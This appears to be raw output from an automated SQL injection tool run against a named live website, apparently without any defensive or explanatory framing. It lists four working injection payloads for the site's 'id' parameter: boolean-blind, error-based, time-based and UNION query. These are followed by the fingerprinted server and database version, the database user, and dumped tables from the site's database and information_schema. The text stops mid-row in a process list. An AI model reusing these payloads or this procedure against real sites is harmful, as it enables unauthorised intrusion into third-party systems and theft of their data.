https://minddesign.co.uk/ Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=483' AND 5965=5965 AND 'FXqZ'='FXqZ Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: id=483' AND GTID_SUBSET(CONCAT(0x7162717671,(SELECT (ELT(8833=8833,1))),0x717a786b71),8833) AND 'DvGL'='DvGL Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=483' AND (SELECT 5920 FROM (SELECT(SLEEP(5)))OLzv) AND 'paVf'='paVf Type: UNION query Title: MySQL UNION query (NULL) - 16 columns Payload: id=483' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162717671,0x62525058774e48615759514253696669427964767a556f625277544c55627a594269417466556152,0x717a786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# web application technology: Apache back-end DBMS: MySQL >= 5.6 banner: '5.7.34' database management system users [1]: [*] 'jacobs_mddata'@'localhost' Database: jacobs_mddata Table: modern_cat [10 entries] +----+------------+-------+--------+ | id | name | anker | open | +----+------------+-------+--------+ | 1 | print | 15 | close | | 2 | identity | 10 | open | | 3 | books | 20 | close | | 4 | typedesign | 25 | open | | 5 | web | 30 | close | | 6 | various | 40 | close | | 0 | | 5 | open | | 11 | retail | 35 | close | | 13 | teaching | 44 | close | | 12 | downloads | 45 | open | +----+------------+-------+--------+ Database: information_schema Table: PARTITIONS [63 entries] +----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME | CHECK_TIME | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION | +----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | NULL | | 0 | 0 | CHARACTER_SETS | NULL | NULL | 2021-06-29 21:07:55 | 0 | 0 | information_schema | def | 384 | NULL | NULL | 16434816 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATIONS | NULL | NULL | 2021-06-29 21:08:16 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:08:38 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLUMNS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLUMN_PRIVILEGES | NULL | NULL | 2021-06-29 21:09:21 | 0 | 0 | information_schema | def | 2565 | NULL | NULL | 16757145 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | ENGINES | NULL | NULL | 2021-06-29 21:09:42 | 0 | 0 | information_schema | def | 490 | NULL | NULL | 16574250 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | EVENTS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | FILES | NULL | NULL | 2021-06-29 21:10:29 | 0 | 0 | information_schema | def | 14468 | NULL | NULL | 16768412 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-06-29 21:10:52 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-06-29 21:11:13 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-06-29 21:11:36 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | OPTIMIZER_TRACE | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PARAMETERS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PARTITIONS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PLUGINS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:13:46 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:14:12 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:14:39 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:15:06 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:15:32 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:15:59 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:16:32 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:16:59 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:17:23 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:17:53 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:18:25 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:18:54 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:19:21 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:19:59 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:20:40 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:21:11 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-06-29 21:21:40 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROCESSLIST | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROCESSLIST | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROFILING | NULL | NULL | 2021-06-29 21:23:01 | 0 | 0 | information_schema | def | 308 | NULL | NULL | 16562084 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROFILING | NULL | NULL | 2021-06-29 21:23:27 | 0 | 0 | information_schema | def | 308 | NULL | NULL | 16562084 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | REFERENTIAL_CONSTRAINTS | NULL | NULL | 2021-06-29 21:24:04 | 0 | 0 | information_schema | def | 4814 | NULL | NULL | 16767162 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | REFERENTIAL_CONSTRAINTS | NULL | NULL | 2021-06-29 21:24:39 | 0 | 0 | information_schema | def | 4814 | NULL | NULL | 16767162 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | ROUTINES | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | ROUTINES | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMATA | NULL | NULL | 2021-06-29 21:26:19 | 0 | 0 | information_schema | def | 3464 | NULL | NULL | 16738048 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMATA | NULL | NULL | 2021-06-29 21:26:47 | 0 | 0 | information_schema | def | 3464 | NULL | NULL | 16738048 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMA_PRIVILEGES | NULL | NULL | 2021-06-29 21:27:13 | 0 | 0 | information_schema | def | 2179 | NULL | NULL | 16736899 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMA_PRIVILEGES | NULL | NULL | 2021-06-29 21:27:40 | 0 | 0 | information_schema | def | 2179 | NULL | NULL | 16736899 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_STATUS | NULL | NULL | 2021-06-29 21:28:10 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_STATUS | NULL | NULL | 2021-06-29 21:28:41 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_VARIABLES | NULL | NULL | 2021-06-29 21:29:10 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_VARIABLES | NULL | NULL | 2021-06-29 21:29:35 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | STATISTICS | NULL | NULL | 2021-06-29 21:30:03 | 0 | 0 | information_schema | def | 5753 | NULL | NULL | 16752736 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | STATISTICS | NULL | NULL | 2021-06-29 21:30:29 | 0 | 0 | information_schema | def | 5753 | NULL | NULL | 16752736 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLES | NULL | NULL | 2021-06-29 21:30:57 | 0 | 0 | information_schema | def | 9441 | NULL | NULL | 16757775 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLES | NULL | NULL | 2021-06-29 21:31:29 | 0 | 0 | information_schema | def | 9441 | NULL | NULL | 16757775 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLESPACES | NULL | NULL | 2021-06-29 21:32:03 | 0 | 0 | information_schema | def | 6951 | NULL | NULL | 16772763 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLESPACES | NULL | NULL | 2021-06-29 21:32:31 | 0 | 0 | information_schema | def | 6951 | NULL | NULL | 16772763 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_CONSTRAINTS | NULL | NULL | 2021-06-29 21:33:00 | 0 | 0 | information_schema | def | 2504 | NULL | NULL | 16721712 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_CONSTRAINTS | NULL | NULL | 2021-06-29 21:33:26 | 0 | 0 | information_schema | def | 2504 | NULL | NULL | 16721712 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_PRIVILEGES | NULL | NULL | 2021-06-29 21:33:52 | 0 | 0 | information_schema | def | 2372 | NULL | NULL | 16748692 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_PRIVILEGES | NULL | NULL | 2021-06-29 21:34:15 | 0 | 0 | information_schema | def | 2372 | NULL | NULL | 16748692 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TRIGGERS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TRIGGERS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | USER_PRIVILEGES | NULL | NULL | 2021-06-29 21:35:27 | 0 | 0 | information_schema | def | 1986 | NULL | NULL | 16726092 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | USER_PRIVILEGES | NULL | NULL | 2021-06-29 21:35:51 | 0 | 0 | information_schema | def | 1986 | NULL | NULL | 16726092 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | VIEWS | NULL | NULL | NULL | 16384 | 0 | information_schema | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | +----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ Database: information_schema Table: TABLE_CONSTRAINTS [2 entries] +-------------+---------------+-----------------+-----------------+-------------------+--------------------+ | TABLE_NAME | TABLE_SCHEMA | CONSTRAINT_TYPE | CONSTRAINT_NAME | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | +-------------+---------------+-----------------+-----------------+-------------------+--------------------+ | modern_cat | jacobs_mddata | PRIMARY KEY | PRIMARY | jacobs_mddata | def | | modern_navi | jacobs_mddata | PRIMARY KEY | PRIMARY | jacobs_mddata | def | +-------------+---------------+-----------------+-----------------+-------------------+--------------------+ Database: information_schema Table: CHARACTER_SETS [41 entries] +--------+---------------------------------+--------------------+----------------------+ | MAXLEN | DESCRIPTION | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | +--------+---------------------------------+--------------------+----------------------+ | 2 | Big5 Traditional Chinese | big5 | big5_chinese_ci | | 1 | DEC West European | dec8 | dec8_swedish_ci | | 1 | DOS West European | cp850 | cp850_general_ci | | 1 | HP West European | hp8 | hp8_english_ci | | 1 | KOI8-R Relcom Russian | koi8r | koi8r_general_ci | | 1 | cp1252 West European | latin1 | latin1_swedish_ci | | 1 | ISO 8859-2 Central European | latin2 | latin2_general_ci | | 1 | 7bit Swedish | swe7 | swe7_swedish_ci | | 1 | US ASCII | ascii | ascii_general_ci | | 3 | EUC-JP Japanese | ujis | ujis_japanese_ci | | 2 | Shift-JIS Japanese | sjis | sjis_japanese_ci | | 1 | ISO 8859-8 Hebrew | hebrew | hebrew_general_ci | | 1 | TIS620 Thai | tis620 | tis620_thai_ci | | 2 | EUC-KR Korean | euckr | euckr_korean_ci | | 1 | KOI8-U Ukrainian | koi8u | koi8u_general_ci | | 2 | GB2312 Simplified Chinese | gb2312 | gb2312_chinese_ci | | 1 | ISO 8859-7 Greek | greek | greek_general_ci | | 1 | Windows Central European | cp1250 | cp1250_general_ci | | 2 | GBK Simplified Chinese | gbk | gbk_chinese_ci | | 1 | ISO 8859-9 Turkish | latin5 | latin5_turkish_ci | | 1 | ARMSCII-8 Armenian | armscii8 | armscii8_general_ci | | 3 | UTF-8 Unicode | utf8 | utf8_general_ci | | 2 | UCS-2 Unicode | ucs2 | ucs2_general_ci | | 1 | DOS Russian | cp866 | cp866_general_ci | | 1 | DOS Kamenicky Czech-Slovak | keybcs2 | keybcs2_general_ci | | 1 | Mac Central European | macce | macce_general_ci | | 1 | Mac West European | macroman | macroman_general_ci | | 1 | DOS Central European | cp852 | cp852_general_ci | | 1 | ISO 8859-13 Baltic | latin7 | latin7_general_ci | | 4 | UTF-8 Unicode | utf8 | utf8_general_ci | | 1 | Windows Cyrillic | cp1251 | cp1251_general_ci | | 4 | UTF-16 Unicode | utf16 | utf16_general_ci | | 4 | UTF-16LE Unicode | utf16le | utf16le_general_ci | | 1 | Windows Arabic | cp1256 | cp1256_general_ci | | 1 | Windows Baltic | cp1257 | cp1257_general_ci | | 4 | UTF-32 Unicode | utf32 | utf32_general_ci | | 1 | Binary pseudo charset | binary | binary | | 1 | GEOSTD8 Georgian | geostd8 | geostd8_general_ci | | 2 | SJIS for Windows Japanese | cp932 | cp932_japanese_ci | | 3 | UJIS for Windows Japanese | eucjpms | eucjpms_japanese_ci | | 4 | China National Standard GB18030 | gb18030 | gb18030_chinese_ci | +--------+---------------------------------+--------------------+----------------------+ Database: information_schema Table: SCHEMATA [2 entries] +----------+--------------------+--------------+------------------------+----------------------------+ | SQL_PATH | SCHEMA_NAME | CATALOG_NAME | DEFAULT_COLLATION_NAME | DEFAULT_CHARACTER_SET_NAME | +----------+--------------------+--------------+------------------------+----------------------------+ | | information_schema | def | utf8_general_ci | utf8 | | | jacobs_mddata | def | latin1_swedish_ci | latin1 | +----------+--------------------+--------------+------------------------+----------------------------+ Database: information_schema Table: PLUGINS [44 entries] +-------------+--------------------+-------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ | LOAD_OPTION | PLUGIN_NAME | PLUGIN_TYPE | PLUGIN_STATUS | PLUGIN_AUTHOR | PLUGIN_VERSION | PLUGIN_LIBRARY | PLUGIN_LICENSE | PLUGIN_DESCRIPTION | PLUGIN_TYPE_VERSION | PLUGIN_LIBRARY_VERSION | +-------------+--------------------+-------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ | FORCE | STORAGE ENGINE | 1.0 | 50734.0 | MySQL AB | | GPL | ACTIVE | This is a pseudo storage engine to represent the binlog in a transaction | | binlog | | FORCE | AUTHENTICATION | 1.1 | 1.1 | R.J.Silk, Sergei Golubchik | | GPL | ACTIVE | Native MySQL authentication | | mysql_native_password | | FORCE | AUTHENTICATION | 1.1 | 1.1 | Oracle | | GPL | ACTIVE | SHA256 password authentication | | sha256_password | | FORCE | STORAGE ENGINE | 1.0 | 50734.0 | Brian Aker, MySQL AB | | GPL | ACTIVE | CSV storage engine | | CSV | | FORCE | STORAGE ENGINE | 1.0 | 50734.0 | MySQL AB | | GPL | ACTIVE | Hash based, stored in memory, useful for temporary tables | | MEMORY | | FORCE | STORAGE ENGINE | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Supports transactions, row-level locking, and foreign keys | | InnoDB | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB transactions | | INNODB_TRX | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB conflicting locks | | INNODB_LOCKS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB which lock is blocking which | | INNODB_LOCK_WAITS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression | | INNODB_CMP | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression; reset cumulated counts | | INNODB_CMP_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compressed buffer pool | | INNODB_CMPMEM | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compressed buffer pool; reset cumulated counts | | INNODB_CMPMEM_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression (per index) | | INNODB_CMP_PER_INDEX | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Statistics for the InnoDB compression (per index); reset cumulated counts | | INNODB_CMP_PER_INDEX_RESET | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Page Information | | INNODB_BUFFER_PAGE | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Page in LRU | | INNODB_BUFFER_PAGE_LRU | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Buffer Pool Statistics Information | | INNODB_BUFFER_POOL_STATS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Temp Table Stats | | INNODB_TEMP_TABLE_INFO | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB Metrics Info | | INNODB_METRICS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | Default stopword list for InnDB Full Text Search | | INNODB_FT_DEFAULT_STOPWORD | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS DELETED TABLE | | INNODB_FT_DELETED | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS BEING DELETED TABLE | | INNODB_FT_BEING_DELETED | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS CONFIG TABLE | | INNODB_FT_CONFIG | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS INDEX CACHED | | INNODB_FT_INDEX_CACHE | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | INNODB AUXILIARY FTS INDEX TABLE | | INNODB_FT_INDEX_TABLE | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLES | | INNODB_SYS_TABLES | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLESTATS | | INNODB_SYS_TABLESTATS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_INDEXES | | INNODB_SYS_INDEXES | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_COLUMNS | | INNODB_SYS_COLUMNS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FIELDS | | INNODB_SYS_FIELDS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FOREIGN | | INNODB_SYS_FOREIGN | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_FOREIGN_COLS | | INNODB_SYS_FOREIGN_COLS | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_TABLESPACES | | INNODB_SYS_TABLESPACES | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_DATAFILES | | INNODB_SYS_DATAFILES | | FORCE | INFORMATION SCHEMA | 5.7 | 50734.0 | Oracle Corporation | | GPL | ACTIVE | InnoDB SYS_VIRTUAL | | INNODB_SYS_VIRTUAL | | FORCE | STORAGE ENGINE | 1.0 | 50734.0 | MySQL AB | | GPL | ACTIVE | MyISAM storage engine | | MyISAM | | FORCE | STORAGE ENGINE | 1.0 | 50734.0 | MySQL AB | | GPL | ACTIVE | Collection of identical MyISAM tables | | MRG_MYISAM | | FORCE | STORAGE ENGINE | 0.1 | 50734.0 | Marc Alff, Oracle | | GPL | ACTIVE | Performance Schema | | PERFORMANCE_SCHEMA | | ON | STORAGE ENGINE | 3.0 | 50734.0 | Brian Aker, MySQL AB | | GPL | ACTIVE | Archive storage engine | | ARCHIVE | | ON | STORAGE ENGINE | 1.0 | 50734.0 | MySQL AB | | GPL | ACTIVE | /dev/null storage engine (anything you write to it disappears) | | BLACKHOLE | | OFF | STORAGE ENGINE | 1.0 | 50734.0 | Patrick Galbraith and Brian Aker, MySQL AB | | GPL | DISABLED | Federated MySQL storage engine | | FEDERATED | | ON | STORAGE ENGINE | 1.0 | 50734.0 | Mikael Ronstrom, MySQL AB | | GPL | ACTIVE | Partition Storage Engine Helper | | partition | | ON | FTPARSER | 0.1 | 1.1 | Oracle Corp | | GPL | ACTIVE | Ngram Full-Text Parser | | ngram | +-------------+--------------------+-------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+ Database: information_schema Table: PROCESSLIST [1 entry] +---------+---------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+-----------+---------------+--------+---------+ | ID | DB | INFO | HOST | STATE | USER | TIME | COMMAND | +---------+---------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+-----------+---------------+--------+---------+ | 4653091 | jacobs_mddata | SELECT * FROM modern_navi WHERE id = 